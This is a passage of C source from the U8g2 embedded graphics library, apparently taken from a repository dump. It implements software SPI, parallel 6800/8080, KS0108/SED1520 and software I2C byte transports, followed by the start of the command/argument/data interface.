DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n  \n*/\n\n#include \"u8x8.h\"\n\nuint8_t u8x8_byte_SetDC(u8x8_t *u8x8, uint8_t dc)\n{\n  return u8x8->byte_cb(u8x8, U8X8_MSG_BYTE_SET_DC, dc, NULL);\n}\n\nuint8_t u8x8_byte_SendBytes(u8x8_t *u8x8, uint8_t cnt, uint8_t *data)\n{\n  return u8x8->byte_cb(u8x8, U8X8_MSG_BYTE_SEND, cnt, (void *)data);\n}\n\nuint8_t u8x8_byte_SendByte(u8x8_t *u8x8, uint8_t byte)\n{\n  return u8x8_byte_SendBytes(u8x8, 1, &byte);\n}\n\nuint8_t u8x8_byte_StartTransfer(u8x8_t *u8x8)\n{\n  return u8x8->byte_cb(u8x8, U8X8_MSG_BYTE_START_TRANSFER, 0, NULL);\n}\n\nuint8_t u8x8_byte_EndTransfer(u8x8_t *u8x8)\n{\n  return u8x8->byte_cb(u8x8, U8X8_MSG_BYTE_END_TRANSFER, 0, NULL);\n}\n\n/*=========================================*/\n\nuint8_t u8x8_byte_empty(U8X8_UNUSED u8x8_t *u8x8, uint8_t msg, U8X8_UNUSED uint8_t arg_int, U8X8_UNUSED void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_BYTE_SEND:\n    case U8X8_MSG_BYTE_INIT:\n    case U8X8_MSG_BYTE_SET_DC:\n    case U8X8_MSG_BYTE_START_TRANSFER:\n    case U8X8_MSG_BYTE_END_TRANSFER:\n      break;\t/* do nothing */\n  }\n  return 1;\t/* always succeed */\n}\n\n\n/*=========================================*/\n\n\n/*\n  Uses:\n    u8x8->display_info->sda_setup_time_ns\n    u8x8->display_info->sck_pulse_width_ns\n    u8x8->display_info->spi_mode\n    u8x8->display_info->chip_disable_level\n    u8x8->display_info->chip_enable_level\n    u8x8->display_info->post_chip_enable_wait_ns\n    u8x8->display_info->pre_chip_disable_wait_ns\n  Calls to GPIO and DELAY:\n    U8X8_MSG_DELAY_NANO\n    U8X8_MSG_GPIO_DC\n    U8X8_MSG_GPIO_CS\n    U8X8_MSG_GPIO_CLOCK\n    U8X8_MSG_GPIO_DATA\n  Handles:\n    U8X8_MSG_BYTE_INIT\n    U8X8_MSG_BYTE_SEND\n    U8X8_MSG_BYTE_SET_DC\n    U8X8_MSG_BYTE_START_TRANSFER\n    U8X8_MSG_BYTE_END_TRANSFER\n*/\n\nuint8_t u8x8_byte_4wire_sw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t i, b;\n  uint8_t *data;\n  uint8_t takeover_edge = u8x8_GetSPIClockPhase(u8x8);\n  uint8_t not_takeover_edge = 1 - takeover_edge;\n \n  switch(msg)\n  {\n    case U8X8_MSG_BYTE_SEND:\n      data = (uint8_t *)arg_ptr;\n      while( arg_int > 0 )\n      {\n\tb = *data;\n\tdata++;\n\targ_int--;\n\tfor( i = 0; i < 8; i++ )\n\t{\n\t  if ( b & 128 )\n\t    u8x8_gpio_SetSPIData(u8x8, 1);\n\t  else\n\t    u8x8_gpio_SetSPIData(u8x8, 0);\n\t  b <<= 1;\n\t  \n\t  u8x8_gpio_SetSPIClock(u8x8, not_takeover_edge);\n\t  u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->sda_setup_time_ns);\n\t  u8x8_gpio_SetSPIClock(u8x8, takeover_edge);\n\t  u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->sck_pulse_width_ns);\n\t}    \n      }\n      break;\n      \n    case U8X8_MSG_BYTE_INIT:\n      /* disable chipselect */\n      u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level);\n      /* no wait required here */\n      \n      /* for SPI: setup correct level of the clock signal */\n      u8x8_gpio_SetSPIClock(u8x8, u8x8_GetSPIClockPhase(u8x8));\n      break;\n    case U8X8_MSG_BYTE_SET_DC:\n      u8x8_gpio_SetDC(u8x8, arg_int);\n      break;\n    case U8X8_MSG_BYTE_START_TRANSFER:\n      u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_enable_level);  \n      u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->post_chip_enable_wait_ns, NULL);\n      break;\n    case U8X8_MSG_BYTE_END_TRANSFER:\n      u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->pre_chip_disable_wait_ns, NULL);\n      u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*=========================================*/\n\nuint8_t u8x8_byte_8bit_6800mode(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t i, b;\n  uint8_t *data;\n \n  switch(msg)\n  {\n    case U8X8_MSG_BYTE_SEND:\n      data = (uint8_t *)arg_ptr;\n      while( arg_int > 0 )\n      {\n\tb = *data;\n\tdata++;\n\targ_int--;\n\tfor( i = U8X8_MSG_GPIO_D0; i <= U8X8_MSG_GPIO_D7; i++ )\n\t{\n\t  u8x8_gpio_call(u8x8, i, b&1);\n\t  b >>= 1;\n\t}    \n\t\n\tu8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->data_setup_time_ns);\n\tu8x8_gpio_call(u8x8, U8X8_MSG_GPIO_E, 1);\n\tu8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->write_pulse_width_ns);\n\tu8x8_gpio_call(u8x8, U8X8_MSG_GPIO_E, 0);\n      }\n      break;\n      \n    case U8X8_MSG_BYTE_INIT:\n      /* disable chipselect */\n      u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level);    \n      /* ensure that the enable signal is high */\n      u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_E, 0);\n      break;\n    case U8X8_MSG_BYTE_SET_DC:\n      u8x8_gpio_SetDC(u8x8, arg_int);\n      break;\n    case U8X8_MSG_BYTE_START_TRANSFER:\n      u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_enable_level);  \n      u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->post_chip_enable_wait_ns, NULL);\n      break;\n    case U8X8_MSG_BYTE_END_TRANSFER:\n      u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->pre_chip_disable_wait_ns, NULL);\n      u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\nuint8_t u8x8_byte_8bit_8080mode(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t i, b;\n  uint8_t *data;\n \n  switch(msg)\n  {\n    case U8X8_MSG_BYTE_SEND:\n      data = (uint8_t *)arg_ptr;\n      while( arg_int > 0 )\n      {\n\tb = *data;\n\tdata++;\n\targ_int--;\n\tfor( i = U8X8_MSG_GPIO_D0; i <= U8X8_MSG_GPIO_D7; i++ )\n\t{\n\t  u8x8_gpio_call(u8x8, i, b&1);\n\t  b >>= 1;\n\t}    \n\t\n\tu8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->data_setup_time_ns);\n\tu8x8_gpio_call(u8x8, U8X8_MSG_GPIO_E, 0);\n\tu8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->write_pulse_width_ns);\n\tu8x8_gpio_call(u8x8, U8X8_MSG_GPIO_E, 1);\n      }\n      break;\n      \n    case U8X8_MSG_BYTE_INIT:\n      /* disable chipselect */\n      u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level);    \n      /* ensure that the enable signal is high */\n      u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_E, 1);\n      break;\n    case U8X8_MSG_BYTE_SET_DC:\n      u8x8_gpio_SetDC(u8x8, arg_int);\n      break;\n    case U8X8_MSG_BYTE_START_TRANSFER:\n      u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_enable_level);  \n      u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->post_chip_enable_wait_ns, NULL);\n      break;\n    case U8X8_MSG_BYTE_END_TRANSFER:\n      u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->pre_chip_disable_wait_ns, NULL);\n      u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*=========================================*/\n\nuint8_t u8x8_byte_3wire_sw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t i;\n  uint8_t *data;\n  uint8_t takeover_edge = u8x8_GetSPIClockPhase(u8x8);\n  uint8_t not_takeover_edge = 1 - takeover_edge;\n  uint16_t b;\n  static uint8_t last_dc;\n \n  switch(msg)\n  {\n    case U8X8_MSG_BYTE_SEND:\n      data = (uint8_t *)arg_ptr;\n      while( arg_int > 0 )\n      {\n\tb = *data;\n\tif ( last_dc != 0 )\n\t  b |= 256;\n\tdata++;\n\targ_int--;\n\tfor( i = 0; i < 9; i++ )\n\t{\n\t  if ( b & 256 )\n\t    u8x8_gpio_SetSPIData(u8x8, 1);\n\t  else\n\t    u8x8_gpio_SetSPIData(u8x8, 0);\n\t  b <<= 1;\n\t  \n\t  u8x8_gpio_SetSPIClock(u8x8, not_takeover_edge);\n\t  u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->sda_setup_time_ns);\n\t  u8x8_gpio_SetSPIClock(u8x8, takeover_edge);\n\t  u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->sck_pulse_width_ns);\n\t}    \n      }\n      break;\n      \n    case U8X8_MSG_BYTE_INIT:\n      /* disable chipselect */\n      u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level);\n      /* no wait required here */\n      \n      /* for SPI: setup correct level of the clock signal */\n      u8x8_gpio_SetSPIClock(u8x8, u8x8_GetSPIClockPhase(u8x8));\n      break;\n    case U8X8_MSG_BYTE_SET_DC:\n      last_dc = arg_int;\n      break;\n    case U8X8_MSG_BYTE_START_TRANSFER:\n      u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_enable_level);  \n      u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->post_chip_enable_wait_ns, NULL);\n      break;\n    case U8X8_MSG_BYTE_END_TRANSFER:\n      u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->pre_chip_disable_wait_ns, NULL);\n      u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*=========================================*/\n\nvoid u8x8_byte_set_ks0108_cs(u8x8_t *u8x8, uint8_t arg)\n{\n  u8x8_gpio_SetCS(u8x8, arg&1);\n  arg = arg >> 1;\n  u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_CS1, arg&1);\n  arg = arg >> 1;\n  u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_CS2, arg&1);\n}\n\n/* 6800 mode */\nuint8_t u8x8_byte_ks0108(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t i, b;\n  uint8_t *data;\n \n  switch(msg)\n  {\n    case U8X8_MSG_BYTE_SEND:\n      data = (uint8_t *)arg_ptr;\n      while( arg_int > 0 )\n      {\n\tb = *data;\n\tdata++;\n\targ_int--;\n\tfor( i = U8X8_MSG_GPIO_D0; i <= U8X8_MSG_GPIO_D7; i++ )\n\t{\n\t  u8x8_gpio_call(u8x8, i, b&1);\n\t  b >>= 1;\n\t}    \n\t\n\tu8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->data_setup_time_ns);\n\tu8x8_gpio_call(u8x8, U8X8_MSG_GPIO_E, 1);\n\tu8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->write_pulse_width_ns);\n\tu8x8_gpio_call(u8x8, U8X8_MSG_GPIO_E, 0);\n      }\n      break;\n      \n    case U8X8_MSG_BYTE_INIT:\n      /* disable chipselect */\n      u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level);    \n      /* ensure that the enable signal is low */\n      u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_E, 0);\n      break;\n    case U8X8_MSG_BYTE_SET_DC:\n      u8x8_gpio_SetDC(u8x8, arg_int);\n      break;\n    case U8X8_MSG_BYTE_START_TRANSFER:\n      /* expects 3 bits in arg_int for the chip select lines */ \n      u8x8_byte_set_ks0108_cs(u8x8, arg_int);\n      u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->post_chip_enable_wait_ns, NULL);\n      break;\n    case U8X8_MSG_BYTE_END_TRANSFER:\n      u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->pre_chip_disable_wait_ns, NULL);\n      u8x8_byte_set_ks0108_cs(u8x8, arg_int);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n/* sed1520 or sbn1661 \n  U8X8_MSG_GPIO_E --> E1\n  U8X8_MSG_GPIO_CS --> E2\n*/\nuint8_t u8x8_byte_sed1520(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t i, b;\n  uint8_t *data;\n  static uint8_t enable_pin;\n \n  switch(msg)\n  {\n    case U8X8_MSG_BYTE_SEND:\n      data = (uint8_t *)arg_ptr;\n      while( arg_int > 0 )\n      {\n\tb = *data;\n\tdata++;\n\targ_int--;\n\tfor( i = U8X8_MSG_GPIO_D0; i <= U8X8_MSG_GPIO_D7; i++ )\n\t{\n\t  u8x8_gpio_call(u8x8, i, b&1);\n\t  b >>= 1;\n\t}    \n\t\n\tu8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->data_setup_time_ns);\n\tu8x8_gpio_call(u8x8, enable_pin, 1);\n\tu8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, 200);\t\t/* KS0108 requires 450 ns, use 200 here */\n\tu8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->write_pulse_width_ns);  /* expect 250 here */\n\tu8x8_gpio_call(u8x8, enable_pin, 0);\n      }\n      break;\n      \n    case U8X8_MSG_BYTE_INIT:\n      /* disable chipselect */\n      u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level);    \n      /* ensure that the enable signals are low */\n      u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_E, 0);\n      u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_CS, 0);\n      enable_pin = U8X8_MSG_GPIO_E;\n      break;\n    case U8X8_MSG_BYTE_SET_DC:\n      u8x8_gpio_SetDC(u8x8, arg_int);\n      break;\n    case U8X8_MSG_BYTE_START_TRANSFER:\n      /* cs lines are not supported for the SED1520/SBN1661 */\n      /* instead, this will select the E1 or E2 line */ \n      enable_pin = U8X8_MSG_GPIO_E;\n      if ( arg_int != 0 )\n\tenable_pin = U8X8_MSG_GPIO_CS;\n      break;\n    case U8X8_MSG_BYTE_END_TRANSFER:\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*=========================================*/\n\n\n/*\n  software i2c,\n  ignores ACK response (which is anyway not provided by some displays)\n  also does not allow reading from the device\n*/\nstatic void i2c_delay(u8x8_t *u8x8) U8X8_NOINLINE;\nstatic void i2c_delay(u8x8_t *u8x8)\n{\n  //u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_10MICRO, u8x8->display_info->i2c_bus_clock_100kHz);\n  u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_I2C, u8x8->display_info->i2c_bus_clock_100kHz);\n}\n\nstatic void i2c_init(u8x8_t *u8x8)\n{\n  u8x8_gpio_SetI2CClock(u8x8, 1);\n  u8x8_gpio_SetI2CData(u8x8, 1);\n  \n  i2c_delay(u8x8);\n}\n\n/* actually, the scl line is not observed, so this procedure does not return a value */\n\nstatic void i2c_read_scl_and_delay(u8x8_t *u8x8)\n{\n  /* set as input (line will be high) */\n  u8x8_gpio_SetI2CClock(u8x8, 1);\n\n  i2c_delay(u8x8);\n}\n\nstatic void i2c_clear_scl(u8x8_t *u8x8)\n{\n  u8x8_gpio_SetI2CClock(u8x8, 0);\n}\n\nstatic void i2c_read_sda(u8x8_t *u8x8)\n{\n  /* set as input (line will be high) */\n  u8x8_gpio_SetI2CData(u8x8, 1);\n}\n\nstatic void i2c_clear_sda(u8x8_t *u8x8)\n{\n  /* set open collector and drive low */\n  u8x8_gpio_SetI2CData(u8x8, 0);\n}\n\nstatic void i2c_start(u8x8_t *u8x8)\n{\n  if ( u8x8->i2c_started != 0 )\n  {\n    /* if already started: do restart */\n    i2c_read_sda(u8x8);     /* SDA = 1 */\n    i2c_delay(u8x8);\n    i2c_read_scl_and_delay(u8x8);\n  }\n  i2c_read_sda(u8x8);\n  /* send the start condition, both lines go from 1 to 0 */\n  i2c_clear_sda(u8x8);\n  i2c_delay(u8x8);\n  i2c_clear_scl(u8x8);\n  u8x8->i2c_started = 1;\n}\n\n\nstatic void i2c_stop(u8x8_t *u8x8)\n{\n  /* set SDA to 0 */\n  i2c_clear_sda(u8x8);  \n  i2c_delay(u8x8);\n \n  /* now release all lines */\n  i2c_read_scl_and_delay(u8x8);\n \n  /* set SDA to 1 */\n  i2c_read_sda(u8x8);\n  i2c_delay(u8x8);\n  u8x8->i2c_started = 0;\n}\n\nstatic void i2c_write_bit(u8x8_t *u8x8, uint8_t val)\n{\n  if (val)\n    i2c_read_sda(u8x8);\n  else\n    i2c_clear_sda(u8x8);\n \n  i2c_delay(u8x8);\n  i2c_read_scl_and_delay(u8x8);\n  i2c_clear_scl(u8x8);\n}\n\nstatic void i2c_read_bit(u8x8_t *u8x8)\n{\n  //uint8_t val;\n  /* do not drive SDA */\n  i2c_read_sda(u8x8);\n  i2c_delay(u8x8);\n  i2c_read_scl_and_delay(u8x8);\n  i2c_read_sda(u8x8);\n  i2c_delay(u8x8);\n  i2c_clear_scl(u8x8);\n  //return val;\n}\n\nstatic void i2c_write_byte(u8x8_t *u8x8, uint8_t b)\n{\n  i2c_write_bit(u8x8, b & 128);\n  i2c_write_bit(u8x8, b & 64);\n  i2c_write_bit(u8x8, b & 32);\n  i2c_write_bit(u8x8, b & 16);\n  i2c_write_bit(u8x8, b & 8);\n  i2c_write_bit(u8x8, b & 4);\n  i2c_write_bit(u8x8, b & 2);\n  i2c_write_bit(u8x8, b & 1);\n    \n  /* read ack from client */\n  /* 0: ack was given by client */\n  /* 1: nothing happend during ack cycle */  \n  i2c_read_bit(u8x8);\n}\n\nuint8_t u8x8_byte_sw_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t *data;\n\n  switch(msg)\n  {\n    case U8X8_MSG_BYTE_SEND:\n      data = (uint8_t *)arg_ptr;\n    \n      while( arg_int > 0 )\n      {\n\ti2c_write_byte(u8x8, *data);\n\tdata++;\n\targ_int--;\n      }\n      \n      break;\n      \n    case U8X8_MSG_BYTE_INIT:\n      i2c_init(u8x8);\n      break;\n    case U8X8_MSG_BYTE_SET_DC:\n      break;\n    case U8X8_MSG_BYTE_START_TRANSFER:\n      i2c_start(u8x8);\n      i2c_write_byte(u8x8, u8x8_GetI2CAddress(u8x8));\n      //i2c_write_byte(u8x8, 0x078);\n      break;\n    case U8X8_MSG_BYTE_END_TRANSFER:\n      i2c_stop(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*=========================================*/\n\n/* alternative i2c byte procedure */\n#ifdef ALTERNATIVE_I2C_BYTE_PROCEDURE\n\n\nvoid i2c_transfer(u8x8_t *u8x8, uint8_t adr, uint8_t cnt, uint8_t *data)\n{\n  uint8_t i;\n  i2c_start(u8x8);\n  i2c_write_byte(u8x8, adr);\n  for( i = 0; i < cnt; i++ )\n    i2c_write_byte(u8x8, data[i]);\n  i2c_stop(u8x8);  \n}\n\n\nuint8_t u8x8_byte_sw_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  static uint8_t buffer[32];\t\t/* u8g2/u8x8 will never send more than 32 bytes */\n  static uint8_t buf_idx;\n  uint8_t *data;\n \n  switch(msg)\n  {\n    case U8X8_MSG_BYTE_SEND:\n      data = (uint8_t *)arg_ptr;      \n      while( arg_int > 0 )\n      {\n\tbuffer[buf_idx++] = *data;\n\tdata++;\n\targ_int--;\n      }      \n      break;\n    case U8X8_MSG_BYTE_INIT:\n      i2c_init(u8x8);\t\t\t/* init i2c communication */\n      break;\n    case U8X8_MSG_BYTE_SET_DC:\n      /* ignored for i2c */\n      break;\n    case U8X8_MSG_BYTE_START_TRANSFER:\n      buf_idx = 0;\n      break;\n    case U8X8_MSG_BYTE_END_TRANSFER:\n      i2c_transfer(u8x8, u8x8_GetI2CAddress(u8x8), buf_idx, buffer);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n#endif\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_cad.c",
    "content": "/*\n  \n  u8x8_cad.c\n  \n  \"command arg data\" interface to the graphics controller\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n\n  The following sequence must be used for any data, which is set to the display:\n  \n  \n  uint8_t u8x8_cad_StartTransfer(u8x8_t *u8x8)\n\n  any of the following calls\n    uint8_t u8x8_cad_SendCmd(u8x8_t *u8x8, uint8_t cmd)\n    uint8_t u8x8_cad_SendArg(u8x8_t *u8x8, uint8_t arg)\n    uint8_t u8x8_cad_SendData(u8x8_t *u8x8, uint8_t cnt, uint8_t *data)\n  \n  uint8_t u8x8_cad_EndTransfer(u8x8_t *u8x8)\n\n\n\n*/\n/*\nuint8_t u8x8_cad_template(u8x8_t *u8x8, uint8_t msg, uint16_t arg_int, void *arg_ptr)\n{\n  uint8_t i;\n  \n  switch(msg)\n  {\n    case U8X8_MSG_CAD_SEND_CMD:\n      u8x8_mcd_byte_SetDC(mcd->next, 1);\n      u8x8_mcd_byte_Send(mcd->next, arg_int);\n      break;\n    case U8X8_MSG_CAD_SEND_ARG:\n      u8x8_mcd_byte_SetDC(mcd->next, 1);\n      u8x8_mcd_byte_Send(mcd->next, arg_int);\n      break;\n    case U8X8_MSG_CAD_SEND_DATA:\n      u8x8_mcd_byte_SetDC(mcd->next, 0);\n      for( i = 0; i < 8; i++ )\n\tu8x8_mcd_byte_Send(mcd->next, ((uint8_t *)arg_ptr)[i]);\n      break;\n    case U8X8_MSG_CAD_RESET:\n      return mcd->next->cb(mcd->next, msg, arg_int, arg_ptr);\n    case U8X8_MSG_CAD_START_TRANSFER:\n      return mcd->next->cb(mcd->next, msg, arg_int, arg_ptr);\n    case U8X8_MSG_CAD_END_TRANSFER:\n      return mcd->next->cb(mcd->next, msg, arg_int, arg_ptr);\n    default:\n      break;\n  }\n  return 1;\n}\n\n*/\n\n#include \"u8x8.h\"\n\nuint8_t u8x8_cad_SendCmd(u8x8_t *u8x8, uint8_t cmd)\n{\n  return u8x8->cad_cb(u8x8, U8X8_MSG_CAD_SEND_CMD, cmd, NULL);\n}\n\nuint8_t u8x8_cad_SendArg(u8x8_t *u8x8, uint8_t arg)\n{\n  return u8x8->cad_cb(u8x8, U8X8_MSG_CAD_SEND_ARG, arg, NULL);\n}\n\nuint8_t u8x8_cad_SendMultipleArg(u8x8_t *u8x8, uint8_t cnt, uint8_t arg)\n{\n  while( cnt > 0 )\n  {\n    u8x8->cad_cb(u8x8, U8X8_MSG_CAD_SEND_ARG, arg, NULL);\n    cnt--;\n  }\n  return 1;\n}\n\nuint8_t u8x8_cad_SendData(u8x8_t *u8x8, uint8_t cnt, uint8_t *data)\n{\n  return u8x8->cad_cb(u8x8, U8X8_MSG_CAD_SEND_DATA, cnt, data);\n}\n\nuint8_t u8x8_cad_StartTransfer(u8x8_t *u8x8)\n{\n  return u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 0, NULL);\n}\n\nuint8_t u8x8_cad_EndTransfer(u8x8_t *u8x8)\n{\n  return u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 0, NULL);\n}\n\nvoid u8x8_cad_vsendf(u8x8_t * u8x8, const char *fmt, va_list va)\n{\n  uint8_t d;\n  u8x8_cad_StartTransfer(u8x8);\n  while( *fmt != '\\0' )\n  {\n    d = (uint8_t)va_arg(va, int);\n    switch(*fmt)\n    {\n      case 'a':  u8x8_cad_SendArg(u8x8, d); break;\n      case 'c':  u8x8_cad_SendCmd(u8x8, d); break;\n      case 'd':  u8x8_cad_SendData(u8x8, 1, &d); break;\n    }\n    fmt++;\n  }\n  u8x8_cad_EndTransfer(u8x8);\n}\n\nvoid u8x8_SendF(u8x8_t * u8x8, const char *fmt, ...)\n{\n  va_list va;\n  va_start(va, fmt);\n  u8x8_cad_vsendf(u8x8, fmt, va);\n  va_end(va);\n}\n\n/*\n  21 c\t\tsend command c\n  22 a\t\tsend arg a\n  23 d\t\tsend data d\n  24\t\t\tCS on\n  25\t\t\tCS off\n  254 milli\tdelay by milliseconds\n  255\t\tend of sequence\n*/\n\nvoid u8x8_cad_SendSequence(u8x8_t *u8x8, uint8_t const *data)\n{\n  uint8_t cmd;\n  uint8_t v;\n\n  for(;;)\n  {\n    cmd = *data;\n    data++;\n    switch( cmd )\n    {\n      case U8X8_MSG_CAD_SEND_CMD:\n      case U8X8_MSG_CAD_SEND_ARG:\n\t  v = *data;\n\t  u8x8->cad_cb(u8x8, cmd, v, NULL);\n\t  data++;\n\t  break;\n      case U8X8_MSG_CAD_SEND_DATA:\n\t  v = *data;\n\t  u8x8_cad_SendData(u8x8, 1, &v);\n\t  data++;\n\t  break;\n      case U8X8_MSG_CAD_START_TRANSFER:\n      case U8X8_MSG_CAD_END_TRANSFER:\n\t  u8x8->cad_cb(u8x8, cmd, 0, NULL);\n\t  break;\n      case 0x0fe:\n\t  v = *data;\n\t  u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_MILLI, v);\t    \n\t  data++;\n\t  break;\n      default:\n\treturn;\n    }\n  }\n}\n\n\nuint8_t u8x8_cad_empty(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_CAD_SEND_CMD:\n      u8x8_byte_SendByte(u8x8, arg_int);\n      break;\n    case U8X8_MSG_CAD_SEND_ARG:\n      u8x8_byte_SendByte(u8x8, arg_int);\n      break;\n    case U8X8_MSG_CAD_SEND_DATA:\n    case U8X8_MSG_CAD_INIT:\n    case U8X8_MSG_CAD_START_TRANSFER:\n    case U8X8_MSG_CAD_END_TRANSFER:\n      return u8x8->byte_cb(u8x8, msg, arg_int, arg_ptr);\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n/*\n  convert to bytes by using \n    dc = 1 for commands and args and\n    dc = 0 for data\n*/\nuint8_t u8x8_cad_110(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_CAD_SEND_CMD:\n      